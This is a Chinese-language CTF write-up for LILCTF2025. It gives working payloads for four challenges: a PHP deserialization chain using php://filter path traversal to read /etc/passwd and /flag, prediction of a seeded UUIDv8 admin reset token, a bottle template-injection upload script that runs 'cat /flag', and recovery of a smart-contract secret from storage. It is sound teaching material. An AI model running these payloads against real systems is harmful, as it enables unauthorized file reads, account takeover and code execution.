LILCTF2025 WriteUp

由 Polze Li 发布

队伍

在那年的夏日等你

信息

分数: 1543 排名: 49

WEB

Your Uns3r

<?php
highlight_file(__FILE__);
class User
{
    public $username;
    public $value;
    public function exec()
    {
        $ser = unserialize(serialize(unserialize($this->value)));
        if ($ser != $this->value && $ser instanceof Access) {
            include($ser->getToken());
        }
    }
    public function __destruct()
    {
        if ($this->username == "admin") {
            $this->exec();
        }
    }
}

class Access
{
    protected $prefix;
    protected $suffix;

    public function getToken()
    {
        if (!is_string($this->prefix) || !is_string($this->suffix)) {
            throw new Exception("Go to HELL!");
        }
        $result = $this->prefix . 'lilctf' . $this->suffix;
        if (strpos($result, 'pearcmd') !== false) {
            throw new Exception("Can I have peachcmd?");
        }
        return $result;

    }
}

$ser = $_POST["user"];
if (strpos($ser, 'admin') !== false && strpos($ser, 'Access":') !== false) {
    exit ("no way!!!!");
}

$user = unserialize($ser);
throw new Exception("nonono!!!");

整体逻辑就是用user反序列化后激活__destruct后一步步利用,最后控制result内容用include读flag

这里有两点要注意的,第一个就是throw new Exception("nonono!!!"); 第二个就是$this->username == "admin" 弱等于判断

浅析PHP GC垃圾回收机制及常见利用方式-先知社区

一开始把throw天真的注释了,打本地发现怎么都可以,但是一加上throw就不行了 :(

这里就要用到这个回收机制,但是根据这个回收机制,对于PHP5.6.40似乎好像不适用,他的例子a:2:{i:0;O:1:"B":0:{}i:0;i:0;}

这里再5.6.40复现不行,解决方法是数组长度+1就可以绕过a:3:{i:0;O:1:"B":0:{}i:0;i:0;}

然后这里限制preacmd导致我研究了半天,后面发现根本不用pearcmd进行

<?php

class User {
    public $username = 0;
    public $value;
}

class Access {
    protected $prefix = "";
    protected $suffix = "";
}

$user = array(new User(),0);
$user->value = serialize(new Access());

$payload = serialize($user);

echo $payload;
?>

Value是N,我打算后面的补上

这里protected在序列化后*两边的%00显示不出来,后面需要自己补齐

<?php
class User
{
    public $username = 0;
    public $value;
}

class Access
{
    protected $prefix = "php://filter/read=convert.base64-encode/resource=/";
    protected $suffix = "/../../../../etc/passwd";
}

$access = new Access();
$user = new User();

$user->value = array($access);
$user->value[0] = $access;

$user->value = serialize($access);

echo serialize($user);
?>

这里生成的value放到上面的exp输出的序列化中

a:2:{i:0;O:4:"User":2:{s:8:"username";i:0;s:5:"value";N;}i:1;i:0;}

O:4:"User":2:{s:8:"username";i:0;s:5:"value";s:138:"O:6:"Access":2:{s:9:"%00*%00prefix";s:50:"php://filter/read=convert.base64-encode/resource=/";s:9:"%00*%00suffix";s:23:"/../../../../etc/passwd";}";}
最终payload
a:3:{i:0;O:4:"User":2:{s:8:"username";i:0;s:5:"value";s:138:"O:6:"Access":2:{s:9:"%00*%00prefix";s:50:"php://filter/read=convert.base64-encode/resource=/";s:9:"%00*%00suffix";s:23:"/../../../../etc/passwd";}";}i:1;i:0;}

a:3:{i:0;O:4:"User":2:{s:8:"username";i:0;s:5:"value";s:138:"O:6:"Access":2:{s:9:"%00*%00prefix";s:50:"php://filter/read=convert.base64-encode/resource=/";s:9:"%00*%00suffix";s:23:"/../../../../flag";}";}i:1;i:0;}

Ekko_note

经过一番折腾发现python3.14有uuid v8 ,然后解铃还须系铃人,lamxu的uuidv8看了一下,copy一下写一个exp就行

SERVER_START_TIME = time.time()

# 欸我艹这两行代码测试用的忘记删了,欸算了都发布了,我们都在用力地活着,跟我的下班说去吧。
# 反正整个程序没有一个地方用到random库。应该没有什么问题。
import random
random.seed(SERVER_START_TIME)

这里给了serverstarttime,还有一个路由可以获取starttime,这里种子固定

@app.route('/execute_command', methods=['GET', 'POST'])
@login_required
def execute_command():
    result = check_time_api()
    if result is None:
        flash("API死了啦,都你害的啦。", "danger")
        return redirect(url_for('dashboard'))

    if not result:
        flash('2066年才完工哈,你可以穿越到2066年看看', 'danger')
        return redirect(url_for('dashboard'))

    if request.method == 'POST':
        command = request.form.get('command')
        os.system(command) # 什么?你说安全?不是,都说了还没完工催什么。
        return redirect(url_for('execute_command'))

    return render_template('execute_command.html')

我们发现这里需要admin执行command

@app.route('/forgot_password', methods=['GET', 'POST'])
def forgot_password():
    if request.method == 'POST':
        email = request.form.get('email')
        user = User.query.filter_by(email=email).first()
        if user:
            # 选哪个UUID版本好呢,好头疼 >_<
            # UUID v8吧,看起来版本比较新
            token = str(uuid.uuid8(a=padding(user.username))) # 可以自定义参数吗原来,那把username放进去吧
            reset_token = PasswordResetToken(user_id=user.id, token=token)
            db.session.add(reset_token)
            db.session.commit()
            # TODO:写一个SMTP服务把token发出去
            flash(f'密码恢复token已经发送,请检查你的邮箱', 'info')
            return redirect(url_for('reset_password'))
        else:
            flash('没有找到该邮箱对应的注册账户', 'danger')
            return redirect(url_for('forgot_password'))

    return render_template('forgot_password.html')

这里是唯一可以伪造admin获取其重置token来重置admin密码的,那么种子固定,预测uuid就很简单了

exp如下

import random
import uuid

server_start_time = 1755353339.975761

random.seed(server_start_time)

def padding(input_string):
    byte_string = input_string.encode('utf-8')
    if len(byte_string) > 6: byte_string = byte_string[:6]
    padded_byte_string = byte_string.ljust(6, b'\x00')
    padded_int = int.from_bytes(padded_byte_string, byteorder='big')
    return padded_int

def uuid8():
    a = padding('admin')
    b = random.getrandbits(12)
    c = random.getrandbits(62)

    int_uuid_8 = (a & 0xffff_ffff_ffff) << 80
    int_uuid_8 |= (b & 0xfff) << 64
    int_uuid_8 |= c & 0x3fff_ffff_ffff_ffff
    _RFC_4122_VERSION_8_FLAGS = ((8 << 76) | (0x8000 << 48))
    int_uuid_8 |= _RFC_4122_VERSION_8_FLAGS

    return uuid.UUID(int=int_uuid_8)

admin_token = str(uuid8())

print(admin_token)

ez_bottle

exp

import requests
import zipfile
import os
import re
import time

#URL
TARGET_URL = "http://challenge.xinshi.fun:46222"

def create_evil_zip(i, url):
    os.makedirs("tmp", exist_ok=True)

    with open("tmp/a.tpl", "w") as f:
        f.write("% include('./uploads/" + url + "', title='Page Title')")
        print("% include('./uploads/" + url + "', title='Page Title')")

    with open("tmp/exploit.tpl", "w") as f:
        f.write(
            """{{''.__class__.__bases__[0].__subclasses__()[""" + str(i) + """].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /flag").read()')}}""")
        print("""{{''.__class__.__bases__[0].__subclasses__()[""" + str(i) + """].__init__.__globals__['popen']('ls /').read()}}""")
        # f.write("% result = os.popen('cat /flag').read()\n")
        # f.write("% print(result)")

    with zipfile.ZipFile("exploit.zip", "w") as z:
        z.write("tmp/exploit.tpl", "exploit.tpl")
        z.write("tmp/a.tpl", "a.tpl")

    return "exploit.zip"

def upload_zip(zip_path):
    url = f"{TARGET_URL}/upload"
    with open(zip_path, "rb") as f:
        files = {"file": (os.path.basename(zip_path), f)}
        response = requests.post(url, files=files)
        return response.text

def extract_view_url(response_text):
    print(response_text)
    pattern = r"访问: /view/([a-f0-9]{32})/([^\s]+)"
    match = re.search(pattern, response_text)
    if match:
        md5_hash = match.group(1)
        filename = 'a.tpl'
        return f"/view/{md5_hash}/{filename}", f"{md5_hash}/exploit.tpl"
    return None

def get_flag(view_url):
    url = f"{TARGET_URL}{view_url}"
    response = requests.get(url)
    request = response.request
    print(request.method)
    print(request.url)
    print(request.headers)
    print(request.body)
    return response.text

if __name__ == "__main__":
    last_url = "58aab835965b994b92c397a94a600a03/exploit.tpl"
    for i in range(115,118):
    # i=77
        print("-------------------------------------------------------\n")
        print("[*] Creating malicious ZIP file...")
        zip_file = create_evil_zip(i, last_url)

        print("[*] Uploading ZIP file to server...")
        response = upload_zip(zip_file)
        # print(f"[DEBUG] Server response:\n{response}")

        print("[*] Extracting file view URL...")
        view_url, last_url = extract_view_url(response)

        if not view_url:
            print("[-] Failed to extract view URL")
            print(f"Response: {response}")
            exit(1)

        print(f"[+] Found view URL: {view_url}")

        print("[*] Requesting file to trigger exploit...")
        flag = get_flag(view_url)

        os.remove(zip_file)

        print("\n[+] Exploit completed!")
        print(f"\n[FLAG] {flag}")
        print("-------------------------------------------------------\n")
        print()
        print()
        print()

BlockChain

lilctf 生蚝的宝藏

题目没有给源码,而是自己建造了一个rpc,部署合约交互
先获取构造交易的字节码

 from web3 import Web3

RPC_URL = "http://106.15.138.99:8545/"

CONTRACT = "0x9F18c518FF34Ab2213eCcFDaeA0E36662B5DE09E"

TX_HASH = "0x327ede005e204582db641d26bbefe55f0f790c65fc2a78de7a19007e36063061"

w3 = Web3(Web3.HTTPProvider(RPC_URL))

tx = w3.eth.get_transaction(TX_HASH)

r = w3.to_json(tx)
print(r)

//

{"blockHash": "0xba8a0dd04e0871fed04bfe5b843197a499b05882c8d54aa22ea3fb11b943995c", "blockNumber": 9725, "from": "0xa7A18b63f52fEE6113358EAd8171049D9A4316b1", "gas": 397106, "gasPrice": 1000000007, "hash": "0x327ede005e204582db641d26bbefe55f0f790c65fc2a78de7a19007e36063061", "input": "0x608060405234801561001057600080fd5b506040516107f03803806107f083398101604081905261002f9161021d565b6100388161005d565b805161004c9160009160209091019061016e565b50506001805460ff19169055610388565b60408051808201909152600c81526b35b2bcaf9a9b9a1c19199ab360a11b6020820152815160609183916000906001600160401b038111156100a1576100a1610207565b6040519080825280601f01601f1916602001820160405280156100cb576020820181803683370190505b50905060005b835181101561016557828351826100e891906102ec565b815181106100f8576100f861030e565b602001015160f81c60f81b60f81c8482815181106101185761011861030e565b602001015160f81c60f81b60f81c1860f81b82828151811061013c5761013c61030e565b60200101906001600160f81b031916908160001a9053508061015d81610324565b9150506100d1565b50949350505050565b82805461017a9061034d565b90600052602060002090601f01602090048101928261019c57600085556101e2565b82601f106101b557805160ff19168380011785556101e2565b828001600101855582156101e2579182015b828111156101e25782518255916020019190600101906101c7565b506101ee9291506101f2565b5090565b5b808211156101ee57600081556001016101f3565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561023057600080fd5b82516001600160401b038082111561024757600080fd5b818501915085601f83011261025b57600080fd5b81518181111561026d5761026d610207565b604051601f8201601f19908116603f0116810190838211818310171561029557610295610207565b8160405282815288868487010111156102ad57600080fd5b600093505b828410156102cf57848401860151818501870152928501926102b2565b828411156102e05760008684830101525b98975050505050505050565b60008261030957634e487b7160e01b600052601260045260246000fd5b500690565b634e487b7160e01b600052603260045260246000fd5b600060001982141561034657634e487b7160e01b600052601160045260246000fd5b5060010190565b600181811c9082168061036157607f821691505b6020821081141561038257634e487b7160e01b600052602260045260246000fd5b50919050565b610459806103976000396000f3fe608060405234801561001057600080fd5b50600436106100365760003560e01c80635cc4d8121461003b57806364d98f6e14610050575b600080fd5b61004e61004936600461023a565b61006a565b005b60015460ff16604051901515815260200160405180910390f35b61007381610112565b60405160200161008391906102eb565b6040516020818303038152906040528051906020012060006040516020016100ab9190610326565b60405160208183030381529060405280519060200120146101035760405162461bcd60e51b815260206004820152600e60248201526d57726f6e6720547265617375726560901b604482015260640160405180910390fd5b506001805460ff191681179055565b60408051808201909152600c81526b35b2bcaf9a9b9a1c19199ab360a11b60208201528151606091839160009067ffffffffffffffff81111561015757610157610224565b6040519080825280601f01601f191660200182016040528015610181576020820181803683370190505b50905060005b835181101561021b578283518261019e91906103c2565b815181106101ae576101ae6103e4565b602001015160f81c60f81b60f81c8482815181106101ce576101ce6103e4565b602001015160f81c60f81b60f81c1860f81b8282815181106101f2576101f26103e4565b60200101906001600160f81b031916908160001a90535080610213816103fa565b915050610187565b50949350505050565b634e487b7160e01b600052604160045260246000fd5b60006020828403121561024c57600080fd5b813567ffffffffffffffff8082111561026457600080fd5b818401915084601f83011261027857600080fd5b81358181111561028a5761028a610224565b604051601f8201601f19908116603f011681019083821181831017156102b2576102b2610224565b816040528281528760208487010111156102cb57600080fd5b826020860160208301376000928101602001929092525095945050505050565b6000825160005b8181101561030c57602081860181015185830152016102f2565b8181111561031b576000828501525b509190910192915050565b600080835481600182811c91508083168061034257607f831692505b602080841082141561036257634e487b7160e01b86526022600452602486fd5b8180156103765760018114610387576103b4565b60ff198616895284890196506103b4565b60008a81526020902060005b868110156103ac5781548b820152908501908301610393565b505084890196505b509498975050505050505050565b6000826103df57634e487b7160e01b600052601260045260246000fd5b500690565b634e487b7160e01b600052603260045260246000fd5b600060001982141561041c57634e487b7160e01b600052601160045260246000fd5b506001019056fea2646970667358221220d5c875e6de4319072b595bdd2382e9d4da7081fe0f1e58eb39dad3b70117693e64736f6c634300080900330000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002e33333334333534383333343934633566353534653634343535323566333734383333356635333333343033663764000000000000000000000000000000000000", "nonce": 0, "to": null, "transactionIndex": 0, "value": 0, "type": 0, "chainId": 21348, "v": 42731, "r": "0xaf22cddb94a9335042245e7d642e6f8b0db30a85d599a3c6ba2ff30187643ff8", "s": "0x638aa8384bc6cbcdf1954a48c825dc01b5723c2bbae672540f0753bb429bf1b7"}

然后去Online Solidity Decompiler反编译

拿到反编译代码

contract Contract {
    function main() {
        memory[0x40:0x60] = 0x80;
        var var0 = msg.value;

        if (var0) { revert(memory[0x00:0x00]); }

        if (msg.data.length < 0x04) { revert(memory[0x00:0x00]); }

        var0 = msg.data[0x00:0x20] >> 0xe0;

        if (var0 == 0x5cc4d812) {
            // Dispatch table entry for 0x5cc4d812 (unknown)
            var var1 = 0x004e;
            var var2 = 0x0049;
            var var3 = msg.data.length;
            var var4 = 0x04;
            var2 = func_023A(var3, var4);
            func_0049(var2);
            stop();
        } else if (var0 == 0x64d98f6e) {
            // Dispatch table entry for isSolved()
            var temp0 = memory[0x40:0x60];
            memory[temp0:temp0 + 0x20] = !!(storage[0x01] & 0xff);
            var temp1 = memory[0x40:0x60];
            return memory[temp1:temp1 + (temp0 + 0x20) - temp1];
        } else { revert(memory[0x00:0x00]); }
    }

    function func_0049(var arg0) {
        var var0 = 0x0073;
        var var1 = arg0;
        var0 = func_0112(var1);
        var temp0 = var0;
        var0 = 0x0083;
        var var2 = memory[0x40:0x60] + 0x20;
        var1 = temp0;
        var0 = func_02EB(var1, var2);
        var temp1 = memory[0x40:0x60];
        var temp2 = var0;
        memory[temp1:temp1 + 0x20] = temp2 - temp1 - 0x20;
        memory[0x40:0x60] = temp2;
        var0 = keccak256(memory[temp1 + 0x20:temp1 + 0x20 + memory[temp1:temp1 + 0x20]]);
        var1 = 0x00ab;
        var var3 = memory[0x40:0x60] + 0x20;
        var2 = 0x00;
        var1 = func_0326(var2, var3);
        var temp3 = memory[0x40:0x60];
        var temp4 = var1;
        memory[temp3:temp3 + 0x20] = temp4 - temp3 - 0x20;
        memory[0x40:0x60] = temp4;

        if (keccak256(memory[temp3 + 0x20:temp3 + 0x20 + memory[temp3:temp3 + 0x20]]) == var0) {
            storage[0x01] = (storage[0x01] & ~0xff) | 0x01;
            return;
        } else {
            var temp5 = memory[0x40:0x60];
            memory[temp5:temp5 + 0x20] = 0x461bcd << 0xe5;
            memory[temp5 + 0x04:temp5 + 0x04 + 0x20] = 0x20;
            memory[temp5 + 0x24:temp5 + 0x24 + 0x20] = 0x0e;
            memory[temp5 + 0x44:temp5 + 0x44 + 0x20] = 0x57726f6e67205472656173757265 << 0x90;
            var temp6 = memory[0x40:0x60];
            revert(memory[temp6:temp6 + (temp5 + 0x64) - temp6]);
        }
    }

    function func_0112(var arg0) returns (var r0) {
        var temp0 = memory[0x40:0x60];
        memory[0x40:0x60] = temp0 + 0x40;
        memory[temp0:temp0 + 0x20] = 0x0c;
        memory[temp0 + 0x20:temp0 + 0x20 + 0x20] = 0x35b2bcaf9a9b9a1c19199ab3 << 0xa1;
        var var2 = temp0;
        var var0 = 0x60;
        var var1 = arg0;
        var var4 = memory[var1:var1 + 0x20];
        var var3 = 0x00;

        if (var4 <= 0xffffffffffffffff) {
            var temp1 = memory[0x40:0x60];
            var temp2 = var4;
            var var5 = temp2;
            var4 = temp1;
            memory[var4:var4 + 0x20] = var5;
            memory[0x40:0x60] = var4 + (var5 + 0x1f & ~0x1f) + 0x20;

            if (!var5) {
                var3 = var4;
                var4 = 0x00;

                if (var4 >= memory[var1:var1 + 0x20]) {
                label_021B:
                    return var3;
                } else {
                label_0191:
                    var5 = var2;
                    var var6 = 0x019e;
                    var var7 = memory[var5:var5 + 0x20];
                    var var8 = var4;
                    var6 = func_03C2(var7, var8);

                    if (var6 < memory[var5:var5 + 0x20]) {
                        var5 = ((memory[var6 + 0x20 + var5:var6 + 0x20 + var5 + 0x20] >> 0xf8) << 0xf8) >> 0xf8;
                        var6 = var1;
                        var7 = var4;

                        if (var7 < memory[var6:var6 + 0x20]) {
                            var5 = ((((memory[var7 + 0x20 + var6:var7 + 0x20 + var6 + 0x20] >> 0xf8) << 0xf8) >> 0xf8) ~ var5) << 0xf8;
                            var6 = var3;
                            var7 = var4;

                            if (var7 < memory[var6:var6 + 0x20]) {
                                memory[var7 + 0x20 + var6:var7 + 0x20 + var6 + 0x01] = byte(var5 & ~((0x01 << 0xf8) - 0x01), 0x00);
                                var5 = var4;
                                var6 = 0x0213;
                                var7 = var5;
                                var6 = func_03FA(var7);
                                var4 = var6;

                                if (var4 >= memory[var1:var1 + 0x20]) { goto label_021B; }
                                else { goto label_0191; }
                            } else {
                                var8 = 0x01f2;

                            label_03E4:
                                memory[0x00:0x20] = 0x4e487b71 << 0xe0;
                                memory[0x04:0x24] = 0x32;
                                revert(memory[0x00:0x24]);
                            }
                        } else {
                            var8 = 0x01ce;
                            goto label_03E4;
                        }
                    } else {
                        var7 = 0x01ae;
                        goto label_03E4;
                    }
                }
            } else {
                var temp3 = var5;
                memory[var4 + 0x20:var4 + 0x20 + temp3] = msg.data[msg.data.length:msg.data.length + temp3];
                var3 = var4;
                var4 = 0x00;

                if (var4 >= memory[var1:var1 + 0x20]) { goto label_021B; }
                else { goto label_0191; }
            }
        } else {
            var5 = 0x0157;
            memory[0x00:0x20] = 0x4e487b71 << 0xe0;
            memory[0x04:0x24] = 0x41;
            revert(memory[0x00:0x24]);
        }
    }

    function func_023A(var arg0, var arg1) returns (var r0) {
        var var0 = 0x00;

        if (arg0 - arg1 i< 0x20) { revert(memory[0x00:0x00]); }

        var var1 = msg.data[arg1:arg1 + 0x20];
        var var2 = 0xffffffffffffffff;

        if (var1 > var2) { revert(memory[0x00:0x00]); }

        var temp0 = arg1 + var1;
        var1 = temp0;

        if (var1 + 0x1f i>= arg0) { revert(memory[0x00:0x00]); }

        var var3 = msg.data[var1:var1 + 0x20];

        if (var3 <= var2) {
            var temp1 = memory[0x40:0x60];
            var temp2 = ~0x1f;
            var temp3 = temp1 + ((temp2 & var3 + 0x1f) + 0x3f & temp2);
            var var4 = temp3;
            var var5 = temp1;

            if (!((var4 < var5) | (var4 > var2))) {
                memory[0x40:0x60] = var4;
                var temp4 = var3;
                memory[var5:var5 + 0x20] = temp4;

                if (var1 + temp4 + 0x20 > arg0) { revert(memory[0x00:0x00]); }

                var temp5 = var3;
                var temp6 = var5;
                memory[temp6 + 0x20:temp6 + 0x20 + temp5] = msg.data[var1 + 0x20:var1 + 0x20 + temp5];
                memory[temp6 + temp5 + 0x20:temp6 + temp5 + 0x20 + 0x20] = 0x00;
                return temp6;
            } else {
                var var6 = 0x02b2;

            label_0224:
                memory[0x00:0x20] = 0x4e487b71 << 0xe0;
                memory[0x04:0x24] = 0x41;
                revert(memory[0x00:0x24]);
            }
        } else {
            var4 = 0x028a;
            goto label_0224;
        }
    }

    function func_02EB(var arg0, var arg1) returns (var r0) {
        var var0 = 0x00;
        var var1 = memory[arg0:arg0 + 0x20];
        var var2 = 0x00;

        if (var2 >= var1) {
        label_030C:

            if (var2 <= var1) { return var1 + arg1; }

            var temp0 = var1;
            var temp1 = arg1;
            memory[temp1 + temp0:temp1 + temp0 + 0x20] = 0x00;
            return temp0 + temp1;
        } else {
        label_02FB:
            var temp2 = var2;
            memory[temp2 + arg1:temp2 + arg1 + 0x20] = memory[arg0 + temp2 + 0x20:arg0 + temp2 + 0x20 + 0x20];
            var2 = temp2 + 0x20;

            if (var2 >= var1) { goto label_030C; }
            else { goto label_02FB; }
        }
    }

    function func_0326(var arg0, var arg1) returns (var r0) {
        var var0 = 0x00;
        var var1 = var0;
        var temp0 = storage[arg0];
        var var2 = temp0;
        var var4 = 0x01;
        var var3 = var2 >> var4;
        var var5 = var2 & var4;

        if (var5) {
            var var6 = 0x20;

            if (var5 != (var3 < var6)) {
            label_0362:
                var var7 = var5;

                if (!var7) {
                    var temp1 = arg1;
                    memory[temp1:temp1 + 0x20] = var2 & ~0xff;
                    var1 = temp1 + var3;

                label_03B4:
                    return var1;
                } else if (var7 == 0x01) {
                    memory[0x00:0x20] = arg0;
                    var var8 = keccak256(memory[0x00:0x20]);
                    var var9 = 0x00;

                    if (var9 >= var3) {
                    label_03AC:
                        var1 = arg1 + var3;
                        goto label_03B4;
                    } else {
                    label_039C:
                        var temp2 = var8;
                        var temp3 = var9;
                        memory[temp3 + arg1:temp3 + arg1 + 0x20] = storage[temp2];
                        var8 = var4 + temp2;
                        var9 = var6 + temp3;

                        if (var9 >= var3) { goto label_03AC; }
                        else { goto label_039C; }
                    }
                } else { goto label_03B4; }
            } else {
            label_034F:
                var temp4 = var1;
                memory[temp4:temp4 + 0x20] = 0x4e487b71 << 0xe0;
                memory[0x04:0x24] = 0x22;
                revert(memory[temp4:temp4 + 0x24]);
            }
        } else {
            var temp5 = var3 & 0x7f;
            var3 = temp5;
            var6 = 0x20;

            if (var5 != (var3 < var6)) { goto label_0362; }
            else { goto label_034F; }
        }
    }

    function func_03C2(var arg0, var arg1) returns (var r0) {
        var var0 = 0x00;

        if (arg0) { return arg1 % arg0; }

        memory[0x00:0x20] = 0x4e487b71 << 0xe0;
        memory[0x04:0x24] = 0x12;
        revert(memory[0x00:0x24]);
    }

    function func_03FA(var arg0) returns (var r0) {
        var var0 = 0x00;

        if (arg0 != ~0x00) { return arg0 + 0x01; }

        memory[0x00:0x20] = 0x4e487b71 << 0xe0;
        memory[0x04:0x24] = 0x11;
        revert(memory[0x00:0x24]);
    }
}

从主函数可以看到:

function main() {
        memory[0x40:0x60] = 0x80;
        var var0 = msg.value;

        if (var0) { revert(memory[0x00:0x00]); }

        if (msg.data.length < 0x04) { revert(memory[0x00:0x00]); }

        var0 = msg.data[0x00:0x20] >> 0xe0;

        if (var0 == 0x5cc4d812) {
            // Dispatch table entry for 0x5cc4d812 (unknown)
            var var1 = 0x004e;
            var var2 = 0x0049;
            var var3 = msg.data.length;
            var var4 = 0x04;
            var2 = func_023A(var3, var4);
            func_0049(var2);
            stop();
        } else if (var0 == 0x64d98f6e) {
            // Dispatch table entry for isSolved()
            var temp0 = memory[0x40:0x60];
            memory[temp0:temp0 + 0x20] = !!(storage[0x01] & 0xff);
            var temp1 = memory[0x40:0x60];
            return memory[temp1:temp1 + (temp0 + 0x20) - temp1];
        } else { revert(memory[0x00:0x00]); }
    }

1.不接受转账
2.输入数据要大于4字节
两个函数分发,0x5cc4d812的unknown函数就是验证函数,0x64d98f6e就是isSolved函数

然后查看验证函数逻辑

function func_0049(var arg0) {
        var var0 = 0x0073;
        var var1 = arg0;
        var0 = func_0112(var1);
        var temp0 = var0;
        var0 = 0x0083;
        var var2 = memory[0x40:0x60] + 0x20;
        var1 = temp0;
        var0 = func_02EB(var1, var2);
        var temp1 = memory[0x40:0x60];
        var temp2 = var0;
        memory[temp1:temp1 + 0x20] = temp2 - temp1 - 0x20;
        memory[0x40:0x60] = temp2;
        var0 = keccak256(memory[temp1 + 0x20:temp1 + 0x20 + memory[temp1:temp1 + 0x20]]);
        var1 = 0x00ab;
        var var3 = memory[0x40:0x60] + 0x20;
        var2 = 0x00;
        var1 = func_0326(var2, var3);
        var temp3 = memory[0x40:0x60];
        var temp4 = var1;
        memory[temp3:temp3 + 0x20] = temp4 - temp3 - 0x20;
        memory[0x40:0x60] = temp4;

        if (keccak256(memory[temp3 + 0x20:temp3 + 0x20 + memory[temp3:temp3 + 0x20]]) == var0) {
            storage[0x01] = (storage[0x01] & ~0xff) | 0x01;
            return;
        } else {
            var temp5 = memory[0x40:0x60];
            memory[temp5:temp5 + 0x20] = 0x461bcd << 0xe5;
            memory[temp5 + 0x04:temp5 + 0x04 + 0x20] = 0x20;
            memory[temp5 + 0x24:temp5 + 0x24 + 0x20] = 0x0e;
            memory[temp5 + 0x44:temp5 + 0x44 + 0x20] = 0x57726f6e67205472656173757265 << 0x90;
            var temp6 = memory[0x40:0x60];
            revert(memory[temp6:temp6 + (temp5 + 0x64) - temp6]);
        }
    }

1.先用func_0112(var1)对输入数据进行解码
2.然后进行keccak256哈希=>var0
3.调用func_0326提取treasure
4.计算treasure的哈希是否等于var0

所以,我们的目标就很明确了,找到treasure,按它的算法逆向,就可以找到需要的输入数据

来看func_0326

function func_0326(var arg0, var arg1) returns (var r0) {
        var var0 = 0x00;
        var var1 = var0;
        var temp0 = storage[arg0];
        var var2 = temp0;
        var var4 = 0x01;
        var var3 = var2 >> var4;
        var var5 = var2 & var4;

        if (var5) {
            var var6 = 0x20;

            if (var5 != (var3 < var6)) {
            label_0362:
                var var7 = var5;

                if (!var7) {
                    var temp1 = arg1;
                    memory[temp1:temp1 + 0x20] = var2 & ~0xff;
                    var1 = temp1 + var3;

                label_03B4:
                    return var1;
                } else if (var7 == 0x01) {
                    memory[0x00:0x20] = arg0;
                    var var8 = keccak256(memory[0x00:0x20]);
                    var var9 = 0x00;

                    if (var9 >= var3) {
                    label_03AC:
                        var1 = arg1 + var3;
                        goto label_03B4;
                    } else {
                    label_039C:
                        var temp2 = var8;
                        var temp3 = var9;
                        memory[temp3 + arg1:temp3 + arg1 + 0x20] = storage[temp2];
                        var8 = var4 + temp2;
                        var9 = var6 + temp3;

                        if (var9 >= var3) { goto label_03AC; }
                        else { goto label_039C; }
                    }
                } else { goto label_03B4; }
            } else {
            label_034F:
                var temp4 = var1;
                memory[temp4:temp4 + 0x20] = 0x4e487b71 << 0xe0;
                memory[0x04:0x24] = 0x22;
                revert(memory[temp4:temp4 + 0x24]);
            }
        } else {
            var temp5 = var3 & 0x7f;
            var3 = temp5;
            var6 = 0x20;

            if (var5 != (var3 < var6)) { goto label_0362; }
            else { goto label_034F; }
        }
    }

好难看,让ai美化一下

function readFromStorage(uint256 slot, uint256 memPtr) pure returns (uint256 endPtr) {

    bytes32 data = storage[slot];

    bool isLong = (uint8(data) & 0x01) == 1;

    uint256 length = uint256(data) >> 1;

    if (isLong) {

        // 长格式:从 keccak256(slot) 开始读

        uint256 startSlot = uint256(keccak256(abi.encode(slot)));

        for (uint256 i = 0; i < length; i += 32) {

            bytes32 chunk = storage[startSlot + i/32];

            assembly {

                mstore(add(memPtr, i), chunk)

            }

        }

    } else {

        // 短格式:数据在高字节

        assembly {

            mstore(memPtr, and(data, not(0xff)))

        }

    }

    return memPtr + length;

}

所以是将数据分成两种形式存储,长和短,标志是最后一位是否为1
短格式:数据在高字节
长格式:从 keccak256(slot) 开始读
我们先获取一下storage slot

from web3 import Web3

RPC_URL = "http://106.15.138.99:8545/"

CONTRACT = "0x9F18c518FF34Ab2213eCcFDaeA0E36662B5DE09E"

w3 = Web3(Web3.HTTPProvider(RPC_URL))
val0 = w3.eth.get_storage_at(CONTRACT, 0)
val1 = w3.eth.get_storage_at(CONTRACT, 1)
print(val0.hex())
print(val1.hex())

# 0x000000000000000000000000000000000000000000000000000000000000005d

只有一个
5d=1011101
所以是长数据,并且长度为(5d-1)/2=46(5d >> 1)
存储和临时存储中状态变量的布局 — Solidity 0.8.31 文档 --- Layout of State Variables in Storage and Transient Storage — Solidity 0.8.31 documentation
并且实际存储位置为
keccak256(uint256(0))
也就是

w3.keccak(hexstr="0x"+"0"*64).hex()

又因为一个存储槽最大32位
所以可以通过以下代码获取treasure

from web3 import Web3

rpc_url = "http://106.15.138.99:8545/"
contract_address = "0x5cbc5d6146fC71220aFeF28F4208EE5E5b799bCd"
w3 = Web3(Web3.HTTPProvider(rpc_url))

treasure_data = b""

slot0 = w3.keccak(hexstr="0x0000000000000000000000000000000000000000000000000000000000000000").hex()
slot1 = int(slot0, 16) + 1
slot1 = hex(slot1)

slot0_data = w3.eth.get_storage_at(contract_address, slot0)
slot1_data = w3.eth.get_storage_at(contract_address, slot1)

treasure_data = slot0_data + slot1_data
treasure = treasure_data[:46]
print(treasure)

#b'XVJk\x06\x02\x00\x00\x01\x00\x01__\x06L9\x00\x02\x00]\x04\x07\x01S^WL9\x06\x00\x00\x00\x01\x00\x00\x00^VJl\x01\x07\x07^\x05W' 

真难看,不过我们还没有解密
接下来逆向解密代码(懒得看了ai写的解密代码)

key_hex = "35b2bcaf9a9b9a1c19199ab3"
val = 0x35b2bcaf9a9b9a1c19199ab3
shift = 161
res = (val << shift) & ((1 << 256) - 1)
key_32_bytes = res.to_bytes(32, 'big')
key = key_32_bytes[:12]

# The input data is XORed with the key repeating

decrypted_treasure = bytearray()
for i in range(len(treasure)):
    decrypted_treasure.append(treasure[i] ^ key[i % len(key)])
    
print(f"Key: {key.hex()}")
print(f"Calculated Input (Treasure XOR Key): {decrypted_treasure.hex()}")
#Key: 6b65795f3537343832333566
#Calculated Input (Treasure XOR Key): 33333334333534383333343934633566353534653634343535323566333734383333356635333333343033663764

接下来构造payload

final_payload = "0x5cc4d812" + "0000000000000000000000000000000000000000000000000000000000000020" # 函数和偏移量

final_payload += hex(len(decrypted_treasure))[2:].zfill(64) # 长度(92)

final_payload += decrypted_treasure.hex().ljust(64, '0') # 数据
print(final_payload)
# 0x5cc4d8120000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002e33333334333534383333343934633566353534653634343535323566333734383333356635333333343033663764

call一下,没有回滚,成功了

result = w3.eth.call({
        'to': contract_address,
        'data': final_payload
    })

实际上,可以发现payload就是构造函数的传入参数:),而且hex解码之后就是flag的后半部分

